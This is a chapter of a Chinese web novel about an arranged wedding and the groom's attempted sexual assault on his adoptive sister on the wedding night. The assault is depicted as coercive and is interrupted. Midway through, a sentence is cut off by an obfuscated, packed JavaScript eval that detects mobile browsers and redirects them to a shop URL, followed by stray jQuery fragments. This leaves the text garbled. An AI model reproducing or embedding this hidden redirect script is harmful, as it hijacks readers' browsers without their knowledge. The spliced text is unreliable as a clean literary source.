10. 第十章
作品:《丹青美人》 文毓瑾与康婧瑶的婚礼,极尽盛大奢华。
新科状元郎迎娶首辅嫡女,堪称京城最轰动的盛事。
迎亲那日,十里红妆,仪仗煊赫,从康府至文府的道路红毡铺地,围观百姓摩肩接踵,喧哗鼎沸,皆欲一睹状元郎的风采,沾一沾这滔天的贵气。
孩童们追着队伍捡拾铜钱喜糖,欢笑声、艳羡声、锣鼓唢呐声交织在一起,好一派欢天喜地。
婚礼设于文府京邸的正堂,所到宾客皆是京中勋贵、清流名臣。堂内红烛高照,喜幔低垂,珍馐罗列,觥筹交错间,尽是恭维道贺之语。
周妙雅作为妹妹,需恪守本分。
她穿着一身得体却不惹眼的淡粉色衣裙,垂首跟在满面红光的文老太太身后,帮忙应酬女眷,引座斟茶。
她将自己缩成一道模糊的影子,极力降低存在感,却仍觉有一道滚烫的目光,时时黏附在她身上。
无需抬头,她也知道来自何人。
新郎官文毓瑾身着大红吉服,更衬得面如冠玉,身姿挺拔。
他应对得体,笑容温雅,与宾客周旋时从容不迫,俨然已是京中新贵的气度。
然而,每当周妙雅试图将自己藏入人群阴影中时,那目光总会精准地掠过人群,落在她身上。
而另一端,新娘子康婧瑶着翟冠霞披,由喜娘搀扶着,行止间环佩叮当,姿态无可指摘。
大红盖头之下,无人能窥见她的神情,只看得见一双纤纤玉手,交叠于身前。
唯有她自己知道,这桩看似风光无限的婚姻,内里是何等冰凉。
她虽是首辅康敏之的嫡女,其生母却早已过世,康敏之专宠妾柳氏,连带着柳氏所出的子女都比她这个嫡女更得脸面。
康婧瑶平生最恨妾室,是因为她心中带着对父亲宠妾灭妻的恨,带着对柳氏母子夺走她嫡女的身份与一切待遇的恨。
此次联姻,不过是父亲康敏之精心布局的一步棋,他需要文家天下文脉的清誉来装点门面,巩固自己在士林学子和清流官员中的地位,而她,只是父亲用来换取政治资本的工具。
她清晰地记得出嫁前,父亲难得来到她房中,言语间无半分慈爱,唯有冰冷的告诫:“文家清贵,于为父大业有益,你嫁过去,需恪守妇道,早日为文家开枝散叶,稳固地位,切记,你的荣辱,皆系于康家之兴衰。”
至于那状元郎文毓瑾长相、品性如何,她是否愿意,从不在她父亲的考虑之内。
直到送入洞房,周遭喧嚣稍减,康婧瑶端坐于铺满红枣、花生、桂圆、莲子的喜床上,听着窗外隐约传来的宴饮欢笑,心底却是一片冰冷与沉寂。
这冰冷与沉寂竟然持续了一夜,本该是春宵一刻值千金的洞房花烛夜,直到天边吐白,新郎官都没有出现过一刻…
————
自进京与文毓瑾重逢的那日起,周妙雅便给自己下了一道铁律,绝不与文毓瑾单独相处。
白日里,她寸步不离地跟在文老太太身边,或帮忙打理家务,或陪着说话解闷,将自己彻底嵌入祖母的日常轨迹里,成为一道沉默而忙碌的背景。
入夜后,她便以祖母年迈,需人夜间随时照应为由,宿在文老太太卧房的外间暖榻上,唯有在祖母平稳的呼吸声隔着屏风传来时,她才能感受到可以安心入睡的安全感。
她天真地以为,这深宅内院,众目睽睽,文毓瑾纵然有滔天的权势,总也要顾忌新婚燕尔,顾忌官声体面。
然而,她低估了文毓瑾的狂妄与偏执。
大婚之夜,文府的红烛燃得正旺,宾客的喧闹声犹在耳畔,谁也没料到,本该在洞房花烛、温香软玉的新郎官,竟会出现在祖母院落的廊下。
他一身大红喜服尚未换下,身上带着浓重的酒气,眼底却是一片骇人的清明,以及一种近乎疯狂的、摧毁一切的欲望。
征服了科场,联姻了权势,今夜,他要用一种极端的方式,来碾碎另一个他始终未能彻底征服的猎物,来宣告他绝对的掌控力。
他挥退了廊下昏昏欲睡的小丫鬟,如同鬼魅般,悄无声息地推开了外间的门。
周妙雅正欲解衣歇下,闻声猛地回头,一见是他,脸色霎时惨白,下意识地便要惊呼出声。
文毓瑾动作快如闪电,一步上前,一只带着凉意和酒气的大手死死捂住了她的嘴,将所有的惊叫都堵了回去,另一条手臂则如铁钳般箍住她的腰,将她整个人拖离地面,按坐在冰冷的梨花木桌沿上。
“唔…!”周妙雅瞳孔骤缩,拼命挣扎,双腿胡乱踢蹬,却撼动不了分毫。
“别出声。”
他俯身逼近,滚烫的、带着酒气的呼吸喷在她的耳侧,声音低沉沙哑,充满了危险的警告:“祖母就在里面,你想把她老人家惊起来,看看她最疼爱的孙儿和孙女儿在做什么吗?”
这句话瞬间冻住了周妙雅所有的动作,她可以不顾自己,却不能不顾及祖母,若让祖母亲眼见到这一幕…她老人家如何能承受得住?
见她停止挣扎,文毓瑾眼底掠过一丝得逞的狞笑,捂着她嘴的手略松了力道,指尖却恶劣地抚过她颤抖的唇瓣,另一只手竟沿着她的脊背向下滑去。
“今夜是我的好日子…”
他嗓音喑哑,狎昵低语:“但春宵一刻,岂能忘了我的好妹妹,嗯?”
周妙雅浑身剧烈地颤抖起来,她猛地偏开头,避开他的触碰,泪水夺眶而出。
文毓瑾却不允许她躲闪,手指加重力道,捏住她的下巴,迫使她转回脸,直面自己,他盯着她泪眼婆娑、写满惊惧与厌恶的小脸,一种扭曲的快意油然而生。
“怕什么?”
他低笑,语气却冰冷刺骨:“用手而已,全了你我的兄妹之情,也全了你的清白。”
这话如同最肮脏的羞/辱,狠狠砸在周妙雅脸上,她霎时瞪大了眼睛,难以置信地看着眼前这个衣冠禽兽,剧烈的愤怒和屈辱瞬间压过了恐惧。
“畜生…!”她从齿缝间挤出破碎的骂声,用尽全身力气想要推开他,指甲在他手背上划出红痕。
她的反抗彻底激怒了他,文毓瑾眼神一厉,捂着她嘴的手再次用力,几乎让她窒息,另一只手则开始粗暴地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922320|192608||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉扯她的衣带。
周妙雅绝望地呜咽着,拼死抵抗,她知道,一旦屈服,等待她的将是万劫不复的深渊,她宁死也不要受此屈辱。
两人在寂静的夜里无声地角力,身体碰撞间,桌沿上的茶盏被扫落在地,发出“啪”一声脆响。
声音虽不大,但在万籁俱寂的夜里却格外清晰。
里间立刻传来文老太太模糊而惺忪的询问声:“…雅儿,是什么声响…?”
所有动作骤然停止。
文毓瑾身体猛地一僵,眼底汹涌的欲望被瞬间压下,换上极度的不耐烦和恼恨。
周妙雅心脏狂跳,几乎要跃出胸腔,她屏住呼吸,一动不敢动。
好在文老太太只是翻了个身,嘟囔了一句,并未真正醒来,均匀的呼吸声很快再次传来。
僵持仍在继续,文毓瑾显然不愿就此罢手。
周妙雅趁他分神留意里间动静的刹那,用眼神死死瞪着他,压低了声音,每一个字都带着泣血的决绝:“你…若再逼我…我立刻咬舌自尽…惊动祖母…大家…一起完蛋。”
她的眼神那般疯狂而坚定,没有丝毫转圜的余地,文毓瑾毫不怀疑,若再进一步,她真的会做出极端之事。
在这新婚之夜,在祖母院中,逼死名义上的妹妹…这滔天丑闻,即便是他也无法轻易压下。
权衡利弊,那股疯狂的冲动终于被理智强行压了下去。
他极不甘心地松开了钳制,缓缓直起身,整理了一下自己微乱的喜服袖口,又恢复了那人模狗样的状元郎姿态,只是看向周妙雅的眼神,阴鸷得能将她活活烧死。
“很好。”
他扯出一个冰冷的笑容,声音低得只有两人能听见:“我们…来日方长。”
说罢,他最后瞥了一眼蜷缩在桌上、衣衫凌乱、瑟瑟发抖的周妙雅,转身,悄无声息地退出了房间。
门轻轻合上。
周妙雅猛地从桌上滑落,瘫软在冰冷的地面上,捂住嘴,无声地痛哭起来,全身止不住地剧烈颤抖。
一帘之隔,文老太太依旧沉睡着,对刚刚在外间发生的、险些颠覆一切的惊涛骇浪,浑然未觉。
————
康婧瑶的新婚之夜,独自枯坐在喜床上一整夜,大红盖头早已被她亲手取下。
外间传来轻微的脚步声,是负责伺候她的文府大丫鬟春桃端着洗漱水进来了,春桃见她端坐不动,忙放下铜盆,屈膝行礼:“少夫人,您醒了,一夜没合眼,要不要先用些温水?”
康婧瑶满心满火的怒气正不知往哪里撒,她见春桃还有几分姿色,更是气不打一处来,抬手直接掀翻铜盆,径直给了春桃一巴掌。
春桃不知自己犯了什么错,忙伏地求饶:“少夫人息怒…少夫人息怒。”
康婧瑶的陪嫁嬷嬷李氏闻讯赶来,她一边轻轻抚着自家小姐的背,一边厉声问春桃:“大少爷昨夜宿在哪里?”
春桃忙磕头跪地求饶:“回…回少夫人的话…奴婢…奴婢昨夜也未见大少爷,只…只听说他去了老太太院里…似是…似是去尽孝心了…”

